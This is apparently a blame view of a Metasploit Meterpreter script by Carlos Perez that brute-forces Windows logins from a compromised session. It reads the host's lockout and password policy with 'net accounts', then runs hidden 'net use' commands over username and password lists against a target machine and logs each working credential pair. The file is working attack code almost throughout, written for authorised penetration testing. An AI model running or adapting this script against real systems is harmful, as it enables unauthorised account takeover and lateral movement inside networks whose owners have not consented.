2014-09-16 21:41:14 +00:00
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
2018-02-13 11:30:05 +00:00
|
|
|
# If you'd like to improve this script, please try to port it as a post
|
2014-09-16 21:41:14 +00:00
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2010-06-23 00:50:14 +00:00
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
|
|
#-------------------------------------------------------------------------------
|
2009-01-08 18:14:03 +00:00
|
|
|
################## Variable Declarations ##################
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "\tHelp menu."],
|
|
|
|
"-t" => [ true, "\tTarget IP Address"],
|
|
|
|
"-p" => [ true, "\tPassword List"],
|
2017-08-06 23:12:45 +00:00
|
|
|
"-c" => [ false, "\tCheck Local Machine Password Policy"],
|
2013-09-30 18:47:53 +00:00
|
|
|
"-L" => [ true, "\tUsername List to be brute forced"],
|
|
|
|
"-l" => [ true, "\tLogin name to be brute forced"]
|
2009-01-08 18:14:03 +00:00
|
|
|
)
|
|
|
|
# Variables for Options
|
|
|
|
user = []
|
|
|
|
ulopt = nil
|
|
|
|
userlist = nil
|
|
|
|
passlist = nil
|
|
|
|
target = nil
|
|
|
|
helpcall = 0
|
|
|
|
|
|
|
|
# The 'client' object holds the Meterpreter session
|
|
|
|
# Aliasing here for plugin compatibility
|
|
|
|
session = client
|
|
|
|
|
|
|
|
################## Function Definition ##################
|
|
|
|
# Function for checking the password policy of current system.
|
|
|
|
# This policy may resemble the policy of other servers in the
|
|
|
|
#target enviroment.
|
|
|
|
def chkpolicy(session)
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Checking password policy...")
|
|
|
|
output = []
|
|
|
|
begin
|
|
|
|
r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
while(d = r.channel.read)
|
|
|
|
output << d
|
|
|
|
end
|
|
|
|
r.channel.close
|
|
|
|
r.close
|
|
|
|
# Parsing output of net accounts
|
|
|
|
lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
|
|
|
|
minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
|
|
|
|
failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
|
|
|
|
lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
|
|
|
|
# check for account lockout
|
|
|
|
if lockout.empty?
|
|
|
|
print_status "\tNo account lockout threshold configured"
|
|
|
|
else
|
|
|
|
print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
|
|
|
|
print_status "\tThe account will be locked out for #{lcktime}"
|
|
|
|
end
|
|
|
|
# check for password lenght
|
|
|
|
if minpass.to_s == "0"
|
|
|
|
print_status "\tNo minimun password lenght is configured"
|
|
|
|
else
|
|
|
|
print_status "\tThe minumun password lengh configured is #{minpass}"
|
|
|
|
print_status "\tyour dictionary should start with passwords of #{minpass} length"
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
|
|
|
end
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
#--------------------------------------------------------
|
|
|
|
|
2010-05-03 17:13:09 +00:00
|
|
|
# Function for brute forcing passwords using windows native tools
|
2009-01-08 18:14:03 +00:00
|
|
|
def passbf(session,passlist,target,user,opt,logfile)
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Running Brute force attack against #{user}")
|
|
|
|
print_status("Successfull Username and Password pairs are being saved in #{logfile}")
|
|
|
|
result = []
|
|
|
|
output = []
|
|
|
|
passfnd = 0
|
|
|
|
a = []
|
|
|
|
i = 0
|
|
|
|
if opt == 1
|
2016-04-20 12:11:34 +00:00
|
|
|
if not ::File.exist?(user)
|
2013-09-30 18:47:53 +00:00
|
|
|
raise "Usernames List File does not exists!"
|
|
|
|
else
|
|
|
|
user = ::File.open(user, "r")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
# Go thru each user
|
|
|
|
user.each do |u|
|
|
|
|
# Go thru each line in the password file
|
|
|
|
while passfnd < 1
|
|
|
|
::File.open(passlist, "r").each_line do |line|
|
|
|
|
begin
|
|
|
|
print_status("Trying #{u.chomp} #{line.chomp}")
|
|
|
|
|
|
|
|
# Command for testing local login credentials
|
|
|
|
r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
while(d = r.channel.read)
|
|
|
|
output << d
|
|
|
|
end
|
|
|
|
r.channel.close
|
|
|
|
r.close
|
|
|
|
|
|
|
|
# Checks if password is found
|
|
|
|
result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
|
|
|
|
if result.length == 1
|
|
|
|
print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
|
|
|
|
file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
|
|
|
|
r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
while(d = r.channel.read)
|
|
|
|
output << d
|
|
|
|
end
|
|
|
|
output.clear
|
|
|
|
r.channel.close
|
|
|
|
r.close
|
|
|
|
passfnd = 1
|
|
|
|
break
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
passfnd = 1
|
|
|
|
end
|
|
|
|
passfnd = 0
|
|
|
|
end
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#--------------------------------------------------------
|
|
|
|
# Function for creating log file
|
|
|
|
def logme(target)
|
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Create Filename info to be appended to files
|
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
2009-01-08 18:14:03 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Create a directory for the logs
|
|
|
|
logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')
|
2009-01-08 18:14:03 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Create the log directory
|
|
|
|
::FileUtils.mkdir_p(logs)
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
#logfile name
|
|
|
|
dest = logs + "/" + target + filenameinfo
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
dest
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
#--------------------------------------------------------
|
2010-09-09 16:09:27 +00:00
|
|
|
#
|
|
|
|
##check for proper Meterpreter Platform
|
|
|
|
def unsupported
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
2010-09-09 16:09:27 +00:00
|
|
|
end
|
2017-04-26 04:31:39 +00:00
|
|
|
unsupported if client.platform != 'windows'
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
################## MAIN ##################
|
|
|
|
|
|
|
|
# Parsing of Options
|
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-l"
|
|
|
|
user << val
|
|
|
|
ulopt = 0
|
|
|
|
when "-L"
|
|
|
|
userlist = val
|
|
|
|
ulopt = 1
|
|
|
|
|
2017-08-06 23:12:45 +00:00
|
|
|
when "-c"
|
2013-09-30 18:47:53 +00:00
|
|
|
chkpolicy(session)
|
|
|
|
exit
|
|
|
|
when "-p"
|
|
|
|
|
|
|
|
passlist = val
|
2016-04-20 12:11:34 +00:00
|
|
|
if not ::File.exist?(passlist)
|
2013-09-30 18:47:53 +00:00
|
|
|
raise "Password File does not exists!"
|
|
|
|
end
|
|
|
|
when "-t"
|
|
|
|
target = val
|
|
|
|
when "-h"
|
|
|
|
print("Windows Login Brute Force Meterpreter Script\n" +
|
|
|
|
"Usage:\n" +
|
|
|
|
@@exec_opts.usage)
|
|
|
|
helpcall = 1
|
|
|
|
end
|
2013-09-17 15:42:58 +00:00
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
# Execution of options selected
|
|
|
|
if user.length > 0 && passlist != nil && target != nil
|
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
passbf(session,passlist,target,user,ulopt,logme(target))
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
elsif userlist != nil && passlist != nil && target != nil
|
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
passbf(session,passlist,target,userlist,ulopt,logme(target))
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
elsif helpcall == 0
|
2013-09-30 18:47:53 +00:00
|
|
|
print("Windows Login Brute Force Meterpreter Script\n" +
|
|
|
|
"Usage:\n" +
|
|
|
|
@@exec_opts.usage)
|
2009-01-08 18:14:03 +00:00
|
|
|
|
2010-05-03 17:13:09 +00:00
|
|
|
end
|
2009-01-08 18:14:03 +00:00
|
|
|
|